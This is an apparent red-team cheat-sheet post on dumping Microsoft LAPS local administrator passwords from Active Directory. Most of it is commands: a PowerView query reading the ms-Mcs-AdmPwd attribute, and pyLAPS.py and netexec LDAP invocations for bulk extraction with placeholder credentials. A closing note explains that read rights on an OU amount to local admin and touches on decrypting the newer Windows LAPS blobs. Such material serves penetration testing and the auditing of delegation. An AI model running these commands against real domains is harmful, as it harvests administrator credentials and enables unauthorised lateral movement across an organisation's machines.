Read LAPS passwords with extended rights

Jul 14, 2026 · 1 min read

LAPS stores the local admin password in a confidential attribute. Overly broad read delegation is common; enumerate who can read it and dump values.

bash

# find machines and read the attribute if permitted
Get-DomainComputer -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime | ? {$_.'ms-Mcs-AdmPwd'}

Bulk read with a dedicated tool.

bash

pyLAPS.py --action get -d dom -u user -p pass
netexec ldap dc -u user -p pass -M laps

Pro note: LAPS read rights on an OU effectively give local admin across it, so treat that delegation as tier-0. Windows LAPS (the newer version) may store an encrypted DPAPI blob and history, so check both attribute sets and whether you can decrypt via a privileged principal.